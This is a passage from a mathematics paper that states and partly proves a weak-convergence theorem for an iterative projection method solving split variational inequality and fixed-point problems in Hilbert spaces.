$$\\bar{D_{1}},\\bar{D_{2}},\\bar{D_{3}}:Q\\rightarrow H_{2}$$ be $$\\bar{d_{1}},\\bar{d_{2}},\\bar{d_{3}}$$-inverse strongly monotone, respectively, with $$\\hat{d}=\\operatorname{min} \\{\\bar{d_{1}},\\bar{d_{2}},\\bar{d_{3}}\\}$$. Let $$A:H_{1}\\rightarrow H_{2}$$ be a bounded linear operator with adjoint $$A^{*}$$ and $$\\eta \\in (0,\\frac{1}{L})$$ with L being the spectral radius of the operator $$A^{*}A$$. Define $$M_{C}:H_{1}\\rightarrow C$$ by\n\n\\begin{aligned} M_{C}(x)=P_{C}(I-\\zeta D_{1}) \\bigl(ax+(1-a)P_{C}(I-\\zeta D_{2}) \\bigl(ax+(1-a)P_{C}(I- \\zeta D_{3})x \\bigr) \\bigr), \\end{aligned}\n\n$$\\forall x\\in H_{1}$$, where $$a\\in [0,1)$$, $$\\zeta \\in (0,2d^{*})$$, and define $$M_{Q}:H_{2}\\rightarrow Q$$ by\n\n\\begin{aligned} M_{Q}(x)=P_{Q}(I-\\bar{\\zeta }\\bar{D_{1}}) \\bigl(a\\hat{x}+(1-a)P_{Q}(I- \\bar{\\zeta }\\bar{D_{2}}) \\bigl(a \\hat{x}+(1-a)P_{Q}(I-\\bar{\\zeta }\\bar{D_{3}}) \\hat{x} \\bigr) \\bigr), \\end{aligned}\n\n$$\\forall \\hat{x}\\in H_{1}$$, where $$a\\in [0,1)$$, $$\\bar{\\zeta }\\in (0,2\\hat{d})$$. Let the sequences $$\\{x_{n}\\}$$ and $$\\{y_{n}\\}$$ be generated by $$x_{1}\\in H_{1}$$ and\n\n\\begin{aligned} y_{n}=M_{C} W_{n} =P_{C}(I-\\zeta D_{1})T_{n}, \\end{aligned}\n\nwhere $$W_{n}=(I-\\eta A^{*}(I-M_{Q})A)x_{n}$$ and $$T_{n}=aW_{n}+(1-a)P_{C}(I-\\zeta D_{2})(aW_{n}+(1-a)P_{C}(I-\\zeta D_{3})W_{n}))$$.\n\n\\begin{aligned} &Q_{n}= \\bigl\\{ z\\in H: \\bigl\\langle (I-\\zeta D_{1})T_{n}-y_{n},y_{n}-z \\bigr\\rangle \\geq 0 \\bigr\\} ,\\\\ &x_{n+1}=\\alpha _{n}T_{n}+(1-\\alpha _{n})SP_{Q_{n}} \\bigl(T_{n}-\\zeta D_{1}(y_{n}) \\bigr) \\end{aligned}\n\nfor all $$n\\in \\mathbb{N}$$.\n\nAssume that the following conditions hold:\n\n1. (i)\n\n$$\\Im =F(S)\\bigcap \\bigcap_{i=1}^{3}\\Phi _{i}\\neq \\emptyset$$, where $$\\Phi _{i}=\\{w\\in VI(C,D_{i})|Aw\\in VI(Q,\\bar{D}_{i})\\}$$ for all $$i=1,2,3$$.\n\n2. (ii)\n\n$$\\alpha _{n}\\in [c,d]\\subset (0,1)$$.\n\nThen $$\\{x_{n}\\}$$ converges weakly to $$x_{0}=P_{\\Im }{x_{n}}$$, which $$(x_{0},y_{0},z_{0})\\in \\Omega ^{D_{1},D_{2},D_{3}}_{\\bar{D_{1}}, \\bar{D_{2}},\\bar{D_{3}}}$$, $$y_{0}=P_{C}(I-\\zeta D_{2})(ax_{0}+(1-a)z_{0})$$, and $$z_{0}=P_{C}(I-\\zeta D_{3})x_{0}$$ with $$\\bar{x_{0}}=Ax_{0}$$, $$\\bar{y_{0}}=Ay_{0}$$ and $$\\bar{z_{0}}=Az_{0}$$.\n\n### Proof\n\nDenote $$k_{n}:=P_{Q_{n}}(T_{n}-\\zeta D_{1}(y_{n}))$$ for all $$n\\geq 0$$. Let $$x^{*}\\in \\Im$$. From the definition of $$P_{Q_{n}}$$, we have $$y_{n}=P_{Q_{n}}(I-\\zeta D_{1})T_{n}$$. Let $$M_{n}=T_{n}-\\zeta D_{1}(y_{n})$$. From $$C\\subseteq Q_{n}$$, and applying (6), we have\n\n\\begin{aligned} \\bigl\\Vert k_{n}-x^{*} \\bigr\\Vert ^{2}={}& \\bigl\\Vert P_{Q_{n}}M_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ \\leq{}& \\bigl\\Vert M_{n}-x^{*} \\bigr\\Vert ^{2}- \\Vert M_{n}-P_{Q_{n}}M_{n} \\Vert ^{2} \\\\ ={}& \\bigl\\Vert T_{n}-\\zeta D_{1}(y_{n})-x^{*} \\bigr\\Vert ^{2}- \\bigl\\Vert T_{n}-\\zeta D_{1}(y_{n})-P_{Q_{n}}M_{n} \\bigr\\Vert ^{2} \\\\ ={}& \\bigl\\Vert T_{n}-x^{*} \\bigr\\Vert ^{2}-2 \\zeta \\bigl\\langle T_{n}-x^{*},D_{1}(y_{n}) \\bigr\\rangle + \\zeta ^{2} \\bigl\\Vert D_{1}(y_{n}) \\bigr\\Vert ^{2} \\\\ &{} - \\Vert T_{n}-P_{Q_{n}}M_{n} \\Vert ^{2}+2\\zeta \\bigl\\langle T_{n}-P_{Q_{n}}M_{n},D_{1}(y_{n}) \\bigr\\rangle -\\zeta ^{2} \\bigl\\Vert D_{1}(y_{n}) \\bigr\\Vert ^{2} \\\\ ={}& \\bigl\\Vert T_{n}-x^{*} \\bigr\\Vert ^{2}- \\Vert T_{n}-P_{Q_{n}}M_{n} \\Vert ^{2}-2 \\zeta \\bigl\\langle P_{Q_{n}}M_{n}-x^{*},D_{1}(y_{n}) \\bigr\\rangle . \\end{aligned}\n(8)\n\nFrom the monotonicity of $$D_{1}$$, we have\n\n\\begin{aligned} 0&\\leq \\bigl\\langle D_{1}y_{n}-D_{1}x^{*},y_{n}-x^{*} \\bigr\\rangle \\\\ &= \\bigl\\langle D_{1}y_{n},y_{n}-x^{*} \\bigr\\rangle - \\bigl\\langle D_{1}x^{*},y_{n}-x^{*} \\bigr\\rangle \\\\ &\\leq \\bigl\\langle D_{1}y_{n},y_{n}-x^{*} \\bigr\\rangle \\\\ &=\\langle D_{1}y_{n},y_{n}-P_{Q_{n}}M_{n} \\rangle - \\bigl\\langle D_{1}y_{n},x^{*}-P_{Q_{n}}M_{n} \\bigr\\rangle , \\end{aligned}\n\nwhich implies that\n\n\\begin{aligned} \\bigl\\langle D_{1}y_{n},x^{*}-P_{Q_{n}}M_{n} \\bigr\\rangle &\\leq \\langle D_{1}y_{n},y_{n}-P_{Q_{n}}M_{n} \\rangle. \\end{aligned}\n(9)\n\nFrom (8) and (9), we have\n\n\\begin{aligned} \\bigl\\Vert k_{n}-x^{*} \\bigr\\Vert ^{2}&\\leq \\bigl\\Vert T_{n}-x^{*} \\bigr\\Vert ^{2}- \\Vert T_{n}-P_{Q_{n}}M_{n} \\Vert ^{2}+2 \\zeta \\langle D_{1}y_{n},y_{n}-P_{Q_{n}}M_{n} \\rangle. \\end{aligned}\n(10)\n\nFrom (10) and Lemma 2.7, we have\n\n\\begin{aligned} \\bigl\\Vert k_{n}-x^{*} \\bigr\\Vert ^{2}\\leq{}& \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}-\\eta (1-\\eta L) \\bigl\\Vert (I-M_{Q})Ax_{n} \\bigr\\Vert ^{2}- \\Vert P_{Q_{n}}M_{n}-T_{n} \\Vert ^{2} \\\\ & {}+2\\zeta \\langle D_{1}y_{n},y_{n}-P_{Q_{n}}M_{n} \\rangle \\\\ ={}& \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}- \\eta (1-\\eta L) \\bigl\\Vert (I-M_{Q})Ax_{n} \\bigr\\Vert ^{2}- \\Vert P_{Q_{n}}M_{n}-y_{n} \\Vert ^{2} \\\\ & {}- \\Vert y_{n}-T_{n} \\Vert ^{2} -2 \\langle P_{Q_{n}}M_{n}-y_{n},y_{n}-T_{n} \\rangle \\\\ & {}+2\\zeta \\langle D_{1}y_{n},y_{n}-P_{Q_{n}}M_{n} \\rangle \\\\ ={}& \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}- \\eta (1-\\eta L) \\bigl\\Vert (I-M_{Q})Ax_{n} \\bigr\\Vert ^{2}- \\Vert P_{Q_{n}}M_{n}-y_{n} \\Vert ^{2} \\\\ & {}- \\Vert y_{n}-T_{n} \\Vert ^{2}+2 \\langle P_{Q_{n}}M_{n}-y_{n},T_{n}-y_{n}- \\zeta D_{1}y_{n}\\rangle \\\\ ={}& \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}- \\eta (1-\\eta L) \\bigl\\Vert (I-M_{Q})Ax_{n} \\bigr\\Vert ^{2}- \\Vert P_{Q_{n}}M_{n}-y_{n} \\Vert ^{2} \\\\ & {}- \\Vert y_{n}-T_{n} \\Vert ^{2}+2 \\bigl\\langle (I-\\zeta D_{1})T_{n}-y_{n},P_{Q_{n}}M_{n}-y_{n} \\bigr\\rangle \\\\ &{} +2\\langle \\zeta D_{1}T_{n}-\\zeta D_{1}y_{n},P_{Q_{n}}M_{n}-y_{n} \\rangle \\\\ \\leq{}& \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}- \\eta (1-\\eta L) \\bigl\\Vert (I-M_{Q})Ax_{n} \\bigr\\Vert ^{2}- \\Vert P_{Q_{n}}M_{n}-y_{n} \\Vert ^{2} \\\\ & {}- \\Vert y_{n}-T_{n} \\Vert ^{2} +2 \\zeta \\Vert D_{1}T_{n}-D_{1}y_{n} \\Vert \\Vert P_{Q_{n}}M_{n}-y_{n} \\Vert \\\\ \\leq{}& \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}- \\eta (1-\\eta L) \\bigl\\Vert (I-M_{Q})Ax_{n} \\bigr\\Vert ^{2}- \\Vert P_{Q_{n}}M_{n}-y_{n} \\Vert ^{2} \\\\ &{} - \\Vert y_{n}-T_{n} \\Vert ^{2}+ \\frac{\\zeta }{d_{1}} \\bigl[ \\Vert T_{n}-y_{n} \\Vert ^{2}+ \\Vert P_{Q_{n}}M_{n}-y_{n} \\Vert ^{2} \\bigr] \\\\ ={}& \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}- \\eta (1-\\eta L) \\bigl\\Vert (I-M_{Q})Ax_{n} \\bigr\\Vert ^{2} \\\\ &{} - \\biggl(1-\\frac{\\zeta }{d_{1}} \\biggr) \\Vert P_{Q_{n}}M_{n}-y_{n} \\Vert ^{2} - \\biggl(1- \\frac{\\zeta }{d_{1}} \\biggr)) \\Vert T_{n}-y_{n} \\Vert ^{2}. \\end{aligned}\n(11)\n\nBy the definition of $$x_{n+1}$$, (11), and Lemma 2.7, we have\n\n\\begin{aligned} \\bigl\\Vert x_{n+1}-x^{*} \\bigr\\Vert ^{2}={}& \\bigl\\Vert \\alpha _{n} \\bigl(T_{n}-x^{*} \\bigr)+(1-\\alpha _{n}) \\bigl(Sk_{n}-x^{*} \\bigr) \\bigr\\Vert ^{2} \\\\ \\leq {}&\\alpha _{n} \\bigl\\Vert T_{n}-x^{*} \\bigr\\Vert ^{2}+(1-\\alpha _{n}) \\bigl\\Vert Sk_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ ={}& \\alpha _{n} \\bigl\\Vert T_{n}-x^{*} \\bigr\\Vert ^{2}+(1-\\alpha _{n}) \\bigl\\Vert Sk_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ &{} -\\alpha _{n}(1-\\alpha _{n}) \\Vert T_{n}-Sk_{n} \\Vert ^{2} \\end{aligned}\n(12)\n\\begin{aligned} ={}& \\alpha _{n} \\bigl\\Vert T_{n}-x^{*} \\bigr\\Vert ^{2}+(1-\\alpha _{n}) \\bigl\\Vert k_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ \\leq{}& \\alpha _{n} \\bigl\\Vert T_{n}-x^{*} \\bigr\\Vert ^{2} +(1-\\alpha _{n}) \\biggl[ \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ &{} -\\eta (1-\\eta L) \\bigl\\Vert (I-M_{Q})Ax_{n} \\bigr\\Vert ^{2} \\\\ & {}- \\biggl(1-\\frac{\\zeta }{d_{1}} \\biggr) \\Vert P_{Q_{n}}M_{n}-y_{n} \\Vert ^{2}- \\biggl(1- \\frac{\\zeta }{d_{1}} \\biggr)) \\Vert T_{n}-y_{n} \\Vert ^{2} \\biggr] \\\\ \\leq{}& \\alpha _{n} \\bigl[ \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}-\\alpha _{n}\\eta (1-\\eta L) \\bigl\\Vert (I-M_{Q})Ax_{n} \\bigr\\Vert ^{2} \\bigr] \\\\ & {}+(1-\\alpha _{n}) \\biggl[ \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2} -\\eta (1-\\eta L) \\bigl\\Vert (I-M_{Q})Ax_{n} \\bigr\\Vert ^{2} \\\\ & {}- \\biggl(1-\\frac{\\zeta }{d_{1}} \\biggr) \\Vert P_{Q_{n}}M_{n}-y_{n} \\Vert ^{2} - \\biggl(1- \\frac{\\zeta }{d_{1}} \\biggr)) \\Vert T_{n}-y_{n} \\Vert ^{2} \\biggr] \\\\ ={}& \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}- \\eta (1-\\eta L) (1+\\alpha _{n}) \\bigl\\Vert (I-M_{Q})Ax_{n} \\bigr\\Vert ^{2} \\\\ & {}-(1-\\alpha _{n}) \\biggl(1-\\frac{\\zeta }{d_{1}} \\biggr) \\bigl[ \\Vert T_{n}-y_{n} \\Vert ^{2}+ \\Vert y_{n}-k_{n} \\Vert ^{2} \\bigr]. \\end{aligned}\n(13)\n\nSo,\n\n\\begin{aligned} \\bigl\\Vert x_{n+1}-x^{*} \\bigr\\Vert ^{2}&\\leq \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}. \\end{aligned}\n\nTherefore $$\\lim_{n \\rightarrow \\infty }\\|x_{n+1}-x^{*}\\|$$ exists, $$\\forall x^{*}\\in \\Im$$. So, we have $$\\{x_{n}\\}^{\\infty }_{n=0}$$ and $$\\{k_{n}\\}^{\\infty }_{n=0}$$ are bounded. From the last relations it follows that\n\n\\begin{aligned} \\eta (1-\\eta L) (1+\\alpha _{n}) \\bigl\\Vert (I-M_{Q})Ax_{n} \\bigr\\Vert ^{2}\\leq \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}- \\bigl\\Vert x_{n+1}-x^{*} \\bigr\\Vert ^{2} \\end{aligned}\n\nor\n\n\\begin{aligned} \\bigl\\Vert (I-M_{Q})Ax_{n} \\bigr\\Vert ^{2}& \\leq \\frac{ \\Vert x_{n}-x^{*} \\Vert ^{2}- \\Vert x_{n+1}-x^{*} \\Vert ^{2}}{\\eta (1-\\eta L)(1+\\alpha _{n})}. \\end{aligned}\n\nThus\n\n\\begin{aligned} \\lim_{n \\rightarrow \\infty } \\bigl\\Vert (I-M_{Q})Ax_{n} \\bigr\\Vert &=0. \\end{aligned}\n(14)\n\nBy using the same method as above, we have\n\n\\begin{aligned} \\lim_{n \\rightarrow \\infty } \\Vert T_{n}-y_{n} \\Vert &=0. \\end{aligned}\n(15)\n\nFrom (12), we get\n\n\\begin{aligned} \\bigl\\Vert x_{n+1}-x^{*} \\bigr\\Vert ^{2}\\leq{}& \\alpha _{n} \\bigl\\Vert T_{n}-x^{*} \\bigr\\Vert ^{2}+(1-\\alpha _{n}) \\bigl\\Vert Sk_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ & {}-\\alpha _{n}(1-\\alpha _{n}) \\Vert T_{n}-Sk_{n} \\Vert ^{2} \\\\ \\leq{}& \\alpha _{n} \\bigl\\Vert T_{n}-x^{*} \\bigr\\Vert ^{2}+(1-\\alpha _{n}) \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ &{} -\\alpha _{n}(1-\\alpha _{n}) \\Vert T_{n}-Sk_{n} \\Vert ^{2} \\\\ \\leq{}& \\alpha _{n} \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}-\\alpha _{n}(1-\\alpha _{n}) \\Vert T_{n}-Sk_{n} \\Vert ^{2}, \\end{aligned}\n\nso\n\n\\begin{aligned} \\Vert T_{n}-Sk_{n} \\Vert ^{2}\\leq \\frac{ \\Vert x_{n}-x^{*} \\Vert ^{2}- \\Vert x_{n+1}-x^{*} \\Vert ^{2}}{\\alpha _{n}(1-\\alpha _{n})}, \\end{aligned}\n\nwhich implies that\n\n\\begin{aligned} \\lim_{n \\rightarrow \\infty } \\Vert T_{n}-Sk_{n} \\Vert &=0. \\end{aligned}\n(16)\n\nConsider\n\n\\begin{aligned} W_{n}-x_{n}&=-\\eta A^{*}(I-M_{Q})Ax_{n}, \\end{aligned}\n\nand by (14), we have\n\n\\begin{aligned} \\lim_{n \\rightarrow \\infty } \\Vert W_{n}-x_{n} \\Vert &=0. \\end{aligned}\n(17)\n\nFrom the property of $$P_{C}$$, we have\n\n\\begin{aligned} & \\bigl\\Vert P_{C}(I-\\zeta D_{3})W_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ &\\quad= \\bigl\\Vert P_{C}(I-\\zeta D_{3})W_{n}-P_{C}(I- \\zeta D_{3})x^{*} \\bigr\\Vert ^{2} \\\\ &\\quad\\leq \\bigl\\Vert (I-\\zeta D_{3})W_{n}-(I-\\zeta D_{3})x^{*} \\bigr\\Vert ^{2} \\\\ &\\quad= \\bigl\\Vert \\bigl(W_{n}-x^{*} \\bigr)-\\zeta \\bigl(D_{3}W_{n}-D_{3}x^{*} \\bigr) \\bigr\\Vert ^{2} \\\\ &\\quad= \\bigl\\Vert W_{n}-x^{*} \\bigr\\Vert ^{2}-2 \\zeta \\bigl\\langle W_{n}-x^{*}, D_{3}W_{n}-D_{3}x^{*} \\bigr\\rangle \\\\ &\\qquad{} +\\zeta ^{2} \\bigl\\Vert D_{3}W_{n}-D_{3}x^{*} \\bigr\\Vert ^{2} \\\\ &\\quad\\leq \\bigl\\Vert W_{n}-x^{*} \\bigr\\Vert ^{2}-2\\zeta d_{3} \\bigl\\Vert D_{3}W_{n}-D_{3}x^{*} \\bigr\\Vert ^{2} \\\\ &\\qquad{} +\\zeta ^{2} \\bigl\\Vert D_{3}W_{n}-D_{3}x^{*} \\bigr\\Vert ^{2} \\\\ &\\quad= \\bigl\\Vert W_{n}-x^{*} \\bigr\\Vert ^{2}- \\zeta (2d_{3}-\\zeta ) \\bigl\\Vert D_{3}W_{n}-D_{3}x^{*} \\bigr\\Vert ^{2} \\\\ &\\quad\\leq \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}- \\zeta (2d_{3}-\\zeta ) \\bigl\\Vert D_{3}W_{n}-D_{3}x^{*} \\bigr\\Vert ^{2}. \\end{aligned}\n(18)\n\nBy the definition of $$T_{n}$$, (7), Remark 1, and (18), we have\n\n\\begin{aligned} \\bigl\\Vert T_{n}-x^{*} \\bigr\\Vert ^{2}\\leq{}& a \\Vert W_{n}-W_{x^{*}} \\Vert ^{2}+a(1-a) \\Vert W_{n}-W_{x^{*}} \\Vert ^{2} \\\\ &{} +(1-a)^{2} \\bigl\\Vert P_{C}(I-\\zeta D_{3})W_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ \\leq{}& a \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}+a(1-a) \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ & {}+(1-a)^{2} \\bigl\\Vert P_{C}(I-\\zeta D_{3})W_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ \\leq{}& \\bigl(2a-a^{2} \\bigr) \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}+(1-a)^{2} \\bigl\\Vert P_{C}(I- \\zeta D_{3})W_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ \\leq{}& \\bigl(2a-a^{2} \\bigr) \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}+(1-a)^{2} \\bigl[ \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ &{} -\\zeta (2d_{3}-\\zeta ) \\bigl\\Vert D_{3}W_{n}-D_{3}x^{*} \\bigr\\Vert ^{2} \\bigr] \\\\ ={}& \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}- \\zeta (2d_{3}-\\zeta ) (1-a)^{2} \\bigl\\Vert D_{3}W_{n}-D_{3}x^{*} \\bigr\\Vert ^{2}. \\end{aligned}\n(19)\n\nIn addition, by the definition of $$x_{n+1}$$ and (19), we have\n\n\\begin{aligned} \\bigl\\Vert x_{n+1}-x^{*} \\bigr\\Vert ^{2}\\leq{}& \\alpha _{n} \\bigl\\Vert T_{n}-x^{*} \\bigr\\Vert ^{2}+(1-\\alpha _{n}) \\bigl\\Vert k_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ \\leq{}& \\alpha _{n} \\bigl[ \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}-\\zeta (2d_{3}-\\zeta ) (1-a)^{2} \\bigl\\Vert D_{3}W_{n}-D_{3}x^{*} \\bigr\\Vert ^{2} \\bigr] \\\\ & {}+(1-\\alpha _{n}) \\bigl\\Vert k_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ ={}& \\alpha _{n} \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}-\\alpha _{n}\\zeta (2d_{3}-\\zeta ) (1-a)^{2} \\bigl\\Vert D_{3}W_{n}-D_{3}x^{*} \\bigr\\Vert ^{2} \\\\ & {}+(1-\\alpha _{n}) \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ ={}& \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}- \\alpha _{n}\\zeta (2d_{3}-\\zeta ) (1-a)^{2} \\bigl\\Vert D_{3}W_{n}-D_{3}x^{*} \\bigr\\Vert ^{2}, \\end{aligned}\n\nso\n\n\\begin{aligned} \\bigl\\Vert D_{3}W_{n}-D_{3}x^{*} \\bigr\\Vert ^{2}\\leq \\frac{ \\Vert x_{n}-x^{*} \\Vert ^{2}- \\Vert x_{n+1}-x^{*} \\Vert ^{2}}{\\alpha _{n}\\zeta (2d_{3}-\\zeta )(1-a)^{2}}, \\end{aligned}\n\nwhich implies that\n\n\\begin{aligned} \\lim_{n \\rightarrow \\infty } \\bigl\\Vert D_{3}W_{n}-D_{3}x^{*} \\bigr\\Vert =0. \\end{aligned}\n(20)\n\nFrom the property of $$P_{C}$$, we have\n\n\\begin{aligned} & \\bigl\\Vert P_{C}(I-\\zeta D_{3})W_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ &\\quad\\leq \\bigl\\langle (I-\\zeta D_{3})W_{n}-(I-\\zeta D_{3})x^{*}, P_{C}(I- \\zeta D_{3})W_{n}-x^{*} \\bigr\\rangle \\\\ &\\quad=\\frac{1}{2} \\bigl[ \\bigl\\Vert (I-\\zeta D_{3})W_{n}-(I- \\zeta D_{3})x^{*} \\bigr\\Vert ^{2} \\bigr]+ \\bigl\\Vert P_{C}(I- \\zeta D_{3})W_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ & \\qquad{}- \\bigl\\Vert (I-\\zeta D_{3})W_{n}-(I-\\zeta D_{3})x^{*}- \\bigl(P_{C}(I-\\zeta D_{3})W_{n}-x^{*} \\bigr) \\bigr\\Vert ^{2} ] \\\\ &\\quad\\leq \\frac{1}{2} \\bigl[ \\bigl\\Vert W_{n}-x^{*} \\bigr\\Vert ^{2}+ \\bigl\\Vert P_{C}(I-\\zeta D_{3})W_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ & \\qquad{}- \\bigl\\Vert (I-\\zeta D_{3})W_{n}-(I-\\zeta D_{3})x^{*}- \\bigl(P_{C}(I-\\zeta D_{3})W_{n}-x^{*} \\bigr) \\bigr\\Vert ^{2} \\bigr] \\\\ &\\quad=\\frac{1}{2} \\bigl[ \\bigl\\Vert W_{n}-x^{*} \\bigr\\Vert ^{2}+ \\bigl\\Vert P_{C}(I-\\zeta D_{3})W_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ & \\qquad{}- \\bigl\\Vert \\bigl(W_{n}-P_{C}(I-\\zeta D_{3})W_{n} \\bigr)-\\zeta \\bigl(D_{3}W_{n}-D_{3}x^{*} \\bigr) \\bigr\\Vert ^{2} \\bigr] \\\\ &\\quad=\\frac{1}{2} \\bigl[ \\bigl\\Vert W_{n}-x^{*} \\bigr\\Vert ^{2}+ \\bigl\\Vert P_{C}(I-\\zeta D_{3})W_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ &\\qquad{} - \\bigl\\Vert W_{n}-P_{C}(I-\\zeta D_{3})W_{n} \\bigr\\Vert ^{2} -\\zeta ^{2} \\bigl\\Vert D_{3}W_{n}-D_{3}x^{*} \\bigr\\Vert ^{2} \\\\ &\\qquad{} +2\\zeta \\bigl\\langle W_{n}-P_{C}(I-\\zeta D_{3})W_{n},D_{3}W_{n}-D_{3}x^{*} \\bigr\\rangle \\bigr], \\end{aligned}\n\nso\n\n\\begin{aligned} \\bigl\\Vert P_{C}(I-\\zeta D_{3})W_{n}-x^{*} \\bigr\\Vert ^{2}\\leq{}& \\bigl\\Vert W_{n}-x^{*} \\bigr\\Vert ^{2} - \\bigl\\Vert W_{n}-P_{C}(I- \\zeta D_{3})W_{n} \\bigr\\Vert ^{2} \\\\ &{} +2\\zeta \\bigl\\Vert W_{n}-P_{C}(I-\\zeta D_{3})W_{n} \\bigr\\Vert \\bigl\\Vert D_{3}W_{n}-D_{3}x^{*} \\bigr\\Vert . \\end{aligned}\n(21)\n\nBy the definition of $$T_{n}$$, (7), Remark 1, and (21), we have\n\n\\begin{aligned} & \\bigl\\Vert T_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ &\\quad\\leq a \\Vert W_{n}-W_{x^{*}} \\Vert ^{2}+a(1-a) \\Vert W_{n}-W_{x^{*}} \\Vert ^{2} \\\\ &\\qquad{} +(1-a)^{2} \\bigl\\Vert P_{C}(I-\\zeta D_{3})W_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ &\\quad\\leq a \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}+a(1-a) \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ &\\qquad{} +(1-a)^{2} \\bigl\\Vert P_{C}(I-\\zeta D_{3})W_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ &\\quad\\leq \\bigl(2a-a^{2} \\bigr) \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}+(1-a)^{2} \\bigl\\Vert P_{C}(I- \\zeta D_{3})W_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ &\\quad\\leq \\bigl(2a-a^{2} \\bigr) \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}+(1-a)^{2} \\bigl[ \\bigl\\Vert W_{n}-x^{*} \\bigr\\Vert ^{2} - \\bigl\\Vert W_{n}-P_{C} \\\\ &\\qquad{}\\times(I- \\zeta D_{3})W_{n} \\bigr\\Vert ^{2}+2 \\zeta \\bigl\\Vert W_{n}-P_{C}(I-\\zeta D_{3})W_{n} \\bigr\\Vert \\bigl\\Vert D_{3}W_{n}-D_{3}x^{*} \\bigr\\Vert \\bigr] \\\\ &\\quad= \\bigl(2a-a^{2} \\bigr) \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}+(1-a)^{2} \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ &\\qquad{} -(1-a)^{2} \\bigl\\Vert W_{n}-P_{C}(I- \\zeta D_{3})W_{n} \\bigr\\Vert ^{2} \\\\ & \\qquad{}+2\\zeta (1-a)^{2} \\bigl\\Vert W_{n}-P_{C}(I- \\zeta D_{3})W_{n} \\bigr\\Vert \\bigl\\Vert D_{3}W_{n}-D_{3}x^{*} \\bigr\\Vert \\\\ &\\quad= \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}-(1-a)^{2} \\bigl\\Vert W_{n}-P_{C}(I- \\zeta D_{3})W_{n} \\bigr\\Vert ^{2} \\\\ &\\qquad{} +2\\zeta (1-a)^{2} \\bigl\\Vert W_{n}-P_{C}(I- \\zeta D_{3})W_{n} \\bigr\\Vert \\bigl\\Vert D_{3}W_{n}-D_{3}x^{*} \\bigr\\Vert . \\end{aligned}\n(22)\n\nIn addition, by the definition of $$x_{n+1}$$, (11), and (22), we have\n\n\\begin{aligned} \\bigl\\Vert x_{n+1}-x^{*} \\bigr\\Vert ^{2}\\leq{}& \\alpha _{n} \\bigl\\Vert T_{n}-x^{*} \\bigr\\Vert ^{2}+(1-\\alpha _{n}) \\bigl\\Vert k_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ \\leq{}& \\alpha _{n} \\bigl[ \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}-(1-a)^{2} \\bigl\\Vert W_{n}-P_{C}(I- \\zeta D_{3})W_{n} \\bigr\\Vert ^{2} \\\\ &{} +2\\zeta (1-a)^{2} \\bigl\\Vert W_{n}-P_{C}(I- \\zeta D_{3})W_{n} \\bigr\\Vert \\bigl\\Vert D_{3}W_{n}-D_{3}x^{*} \\bigr\\Vert \\bigr] \\\\ &{} +(1-\\alpha _{n}) \\bigl\\Vert k_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ \\leq{}& \\alpha _{n} \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}-\\alpha _{n}(1-a)^{2} \\bigl\\Vert W_{n}-P_{C}(I- \\zeta D_{3})W_{n} \\bigr\\Vert ^{2} \\\\ &{} +2\\alpha _{n}\\zeta (1-a)^{2} \\bigl\\Vert W_{n}-P_{C}(I-\\zeta D_{3})W_{n} \\bigr\\Vert \\bigl\\Vert D_{3}W_{n}-D_{3}x^{*} \\bigr\\Vert \\\\ & 